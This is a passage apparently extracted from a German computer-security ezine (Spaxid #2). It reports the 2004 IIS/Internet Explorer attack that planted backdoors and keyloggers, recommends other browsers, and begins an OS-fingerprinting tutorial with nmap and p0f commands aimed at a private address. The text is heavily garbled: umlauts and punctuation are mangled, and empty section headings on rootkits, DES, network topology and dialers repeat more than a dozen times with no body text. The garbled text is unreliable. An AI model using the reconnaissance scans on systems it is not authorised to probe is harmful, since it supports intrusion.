Mit recht groszliger Wahrscheinlichkeit ist davon auszugehen dass moumlglicherweise unbekanntebdquoHackerldquo einige IIS (Internet Information Server von Microsoft) Server geknackt haben Codeseingeschleust und miszligbraucht haben um eine ebenfalls bekannte Schwachstelle imZusammenspiel zwischen dem IIS und dem Internet Explorer auszunutzen

So wurde am 250604 bekannt dass bdquoHackerldquo die oben beschriebene Moumlglichkeit JavaScripte auf IIS Server abzulegen um allein beim besuchen einer Webseite mit schadhaftenCode den Internet Explorer zu infizieren Dabei wurden Sicherheitsluumlcken im IIS Server undgleichzeitig im Internet Explorer so ausgenutzt dass ein Backdoor und ein Keylogger auf denComputer des Besuchers der Webseite geladen wurde

Nach Untersuchungen des Internet Storm Center besteht weiterhin die Moumlglichkeit diesebefallenen IIS Server als SMTP Relay fuumlr SPAM Attacken zu benutzen um so anonym SPAM zuversenden (httpiscsansorgdiaryphpdate=2004-06-24) Microsoft raumlt denAdministratoren in einem Microsoft Security Bulletin MS04-011 zur Einspielung eines Patchesder anscheinend dieses Problem beheben soll

Als weiteres Problem stellt sich die Sicherheitsluumlcke heraus als erste Meldungen auftauchennach denen diese Sicherheitsluumlcken ausgenutzt werden um TAN und PIN Nummern von Usernmit Homebanking zu stehlen Auch deutsche Banken waren davon betroffen (zB deutsche-bankde citibankde sparkasse-bankingde bankinglbbwde) Es ist mit groszliger Sicherheitnicht abzusehen ob und in wie fern ein groumlszligerer Schaden dadurch entstanden ist und wieviele User undoder IIS Server davon in der Tat betroffen sind

Der Internet Explorer ist derzeit einer der unsichersten Anwendungen die fuumlr dasBetriebssystem Microsoft Windows erhaumlltlich sind Das Gefahrtenpotential ist in sofern sehrhoch da es durch gezielte Manipulation zur Uumlbernahme des Internet Explorer sowieweitergehenden Rechten am Computer kommen kann In diversen uns bekannten Faumlllen sindbereits sehr viele User im Internet davon betroffen wobei Firmennetzwerke noch nicht mitberuumlcksichtigt wurden Durch das gezielte einbringen von Trojanern uumlber den InternetExplorer mit Spionagefunktionen ist es moumlglich Tastatureingaben mitzulesen und diesewiederrum auf gehackte Server abzulegen Von dort aus koumlnnen die Dateien dann gefahrlosvon einem Angreifer wieder abgerufen werden

Weiterhin wird immer mehr bekannt dass gezielt uumlber solche HiJacking Methoden SpamComputer im Netz bereits gestellt werden uumlber die dann Massenmails versendet werden umdas Internet mit Spam zu uumlberfluten Aber auch das Stehlen von Passwoumlrter PIN und TANNummern fuumlr das Online-Banking kommen immer mehr in Betracht Gerade in der heutigenZeit sollte man sich nicht so gefahr- und sorglos ins Internet bewegen und Anwendungenverwenden die derzeit fuumlr den Miszligbrauch wie geschaffen sind Unzaumlhlige Sicherheitsluumlcken imBetriebssystem Microsoft Windows und den implementierten Anwendungen erschweren einsorgloses Surfen Systemadministratoren sollten in Erwaumlgung ziehen bestimmteAnwendungen (IIS IE etc) nicht auszligerhalb eines Unternehmensnetzwerkes zu betreiben aberauch uumlber die alternativen Moumlglichkeiten nachdenken

6 Empfehlung AbhilfeIst der Internet Explorer ein einziges Sicherheitsloch

Nach allen Untersuchungen und Analysen kann man zum derzeitigen Stand einen Hinweisgelten lassen Der Internet Explorer in seinem gegenwaumlrtigem Zustand ist ein enormes Risikofuumlr Benutzer des Microsoft Betriebssystem WindowsDie Sicherheitsluumlcken die bislang publiziert wurden lassen nur den Schluss zu alternativeInternet Browser zu verwenden bei denen solche massiven Exploits nicht bekannt sindSehr viele Entwickler der OPEN SOURCE Gemeinde arbeiten an sehr schnellen und leichtbedienbaren Browsern die kostenlos im Internet erhaumlltlich sind und auf nahezu jedemBetriebssystem laufen Nahzu alle Browser sind in deutscher Sprache erhaumlltlich verstehensich auf schnellen Webseitenaufbau und verschluumlsseln ebenfalls die Verbindung uumlber SSLVerbindungen Bei vielen Browsern ist ein E-Mail Programm integriert das Cookie und Pop-UpManagement ist leicht zu handhaben und sollten einen Umstieg auf einen alternativenBrowser erleichtern Eines der wohl groumlszligten Probleme des Internet Explorer bestehen in derVerschmelzung mit dem Betriebssystem Windows in der momentanen SituationHier besteht die Moumlglichkeit mulitmedial den Internet Explorer in Verbindung mit dem MediaPlayer Windows Explorer Bildbearbeitung und weiteren zusammen zu nutzen

Ein Angriffspotential wird hierdurch gefoumlrdert da auf jegliche API Schnittstellen undWindows-Innereien zugegriffen wird Vergleichbar andere Browser unterstuumltzen dieseFunktionen in einem so immensen Umfang wie Microsofts Browser nicht Welche Browserkann man sich nun von welchen Internetseiten herunter laden

Mozilla httpwwwmozillaorgFirefox httpwwwmozillaorgproductsfirefox Opera httpwwwoperacomNetscape httpwwwnetscapecomdownload

7 Verweise Anmerkungen Screenshots Scripte Bilder

httpwwwbuerschgensdehttpwwwgerman-securedehttpwwwheisedesecuritynewsmeldung48877 Microsoft zum Problem mit ADODBStreamhttpsupportmicrosoftcomdefaultaspxkbid=870669 Microsoft zum Sicherheitsloch im IIS Patches amp HelpshttpwwwmicrosoftcomgermanymstechnetservicedeskbulletinbulletinMS04-011htm Sicherheit fuumlr Mozilla muss erlernt sein Heisehttpwwwheisedesecurityartikel48349Was Sie uumlber bdquoDownloadJectldquo wissen sollten Microsofthttpwwwmicrosoftcomgermanymssecurityincidentdownload_jectmspx Analyse des Haldex Dialer von Symantechttpsecurityresponsesymanteccomavcentervencdatadialerhaldexhtml Dialer-Liste von Symantechttpsecurityresponsesymanteccomavcenterexpanded_threatsdialers US-Regierung raumlt vom Internet Explorer abhttpwwwcomputerbasedenewssoftwarebrowser2004juliusregierung_internet_explorerListe aller IE-Bugs die bekannt wurdenhttpumbrellanameiebugcomdisplay-homepagephp SecuritymailinglistenhttpseclistsorgTipps und Tricks zum Internet ExplorerhttpwwwmisitiochClsquot Browsercheckhttpwwwheisedesecuritydienstebrowsercheckdemosie Sollten Sie weitere Fragen haben so nehmen Sie mit uns uumlber die Webseiten Kontakt auf

-- Michael Buumlrschgens Marko Rogge

Dies ist das Ende der zweiten Ausgabe des Spaxid eZines Wir hoffen es hat Ihnen gefallenund Sie nehmen etwas von den Informationen mit die wir versucht haben Ihnen plausibel zuuumlbermitteln

Bei Kritik Fragen oder Verbesserungsvorschlaumlgen kontaktieren Sie bitte die jeweiligen Autorenper E-Mail Fuumlr Fragen koumlnnen Sie auszligerdem das Forum auf wwwcomputer-supportorgnutzen E-Mail Adressen Banner oder die folgenden Ausgaben von Spaxid finden Sie aufhttpspaxidit-helpnetde

Das Copyright fuumlr Texte und Grafiken liegt bei ihrem jeweiligen Ersteller Das Kopieren dieseseZines ist ohne Erlaubnis jedoch ausschliesslich in unveraumlnderter Form genehmigt underwuumlnscht Textausschnitte oder Bezuumlge sind ebenfalls nur unter Angabe der Herkunft (Quelle)und einem Verweis auf httpspaxidit-helpnetde genehmigt Wir danken Ihnen fuumlr IhrVerstaumlndnis

OS FingerprintingAktive und passive Systemidentifikation mit Windows

Uumlbersicht

1 Einleitung amp Theoretisches2 Praxis 21 Nmap (aktive Methode) 22 p0f (passive Methode)3 Zum Schluss4 Quellen amp weiterfuumlhrende Links

1 Einleitung amp Theoretisches

Der erste Schritt eines Angriffs oder eines Blackbox-Penetrationstests ist zweifelsfrei immerdas Betriebsystem des Ziels zu erkennen Erst danach kann man seine Vorgehensweise dieTools und aumlhnliches fuumlr das Ziel zugeschnitten auswaumlhlen Im Allgemeinen gibt es 2Methoden der Systemerkennung Die aktive hier vertreten von Nmap und die passivevertreten von p0f

Der Angreifer ist ein WindowsXP Rechner das Zielsystem mit der IP 192168211 benutztWindows 2000 als Betriebsystem Zum Auskundschaften des Zielsystems benutzen wir dasFreewaretool p0f (Version 205) und unsere Eierlegende Wollmilchsau Nmap (Version 370)

Im Prinzip ist schnell erklaumlrt wie die beiden Tools arbeiten Es gibt einige Parameter imTCPIP-Protkoll die von jedem Betriebsystem anders genutzt werden Zwar wurden in RFCsRichtlininien festgehalten jedoch sind diese nicht verbindlich So ist zum Beispiel die TTL-Dauer bei Windows XP auf 128 bei einem Linuxkernel jedoch auf 255 gesetzt Nun kann mananhand einer Datenbank mit Signaturen[1] das Betriebsystem von Hand ermitteln aber wirwissen ja Zeit = Geld -)

Um den oben genannten Vorgang zu verkuumlrzen wurden Programme geschrieben die denVorgang automatisieren sollen Fuumlr Windows-Systemen haben sich zwei Programme bewaumlhrtNmap und p0f Beide unterscheiden sich in der Funktionsweise in einem wichtigen PunktNmap ist ein aktiver Scanner der sich zu dem Zielsystem verbindet und aus der Antwortheraus seine Schluumlsse zieht







2 Praxis

21 Nmap





nmap -sS -O -v 1921682111



22 p0f





p0f -i2


3 Zum Schluss









Allgemein














































-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen





























2 Praxis

21 Nmap





nmap -sS -O -v 1921682111



22 p0f





p0f -i2


3 Zum Schluss









Allgemein














































-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen
























nmap -sS -O -v 1921682111



22 p0f





p0f -i2


3 Zum Schluss









Allgemein














































-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen
























p0f -i2


3 Zum Schluss









Allgemein














































-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen


























Allgemein














































-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen

































































-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen






















































-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen












































-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen


























-- Jonas Havers


Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen
























Index










Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen























Fehlerursache


Code


int main()


Ausgabe



Rechnung













int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen































int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen





























int main()



Ausgabe








Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen





























Sicherheitsrisiko















Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen




































Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen























Links



-- Taner exonity E

ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen























ROOTKITS


1 Was sind Rootkits









2 Die Technik












31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen
































31 API Hooking










4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen




























4 Kernel Rootkits















6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen




































6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen





























6 Window Rootkits










-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen


























-- Ole Elrik Loots


1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen
























1 Vorwort






























4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen















































4 DES










5 Quellenangaben



Index


1 Netzwerktopologie




11 Bus-Topologie








12 Stern-Topologie





13 Ring-Topologie






2 Token Ring




21 Token-Passing


















1 Einfuumlhrung


































4 Dialer amp Firmen























Documents

Spaxid eZine #2 - computec.ch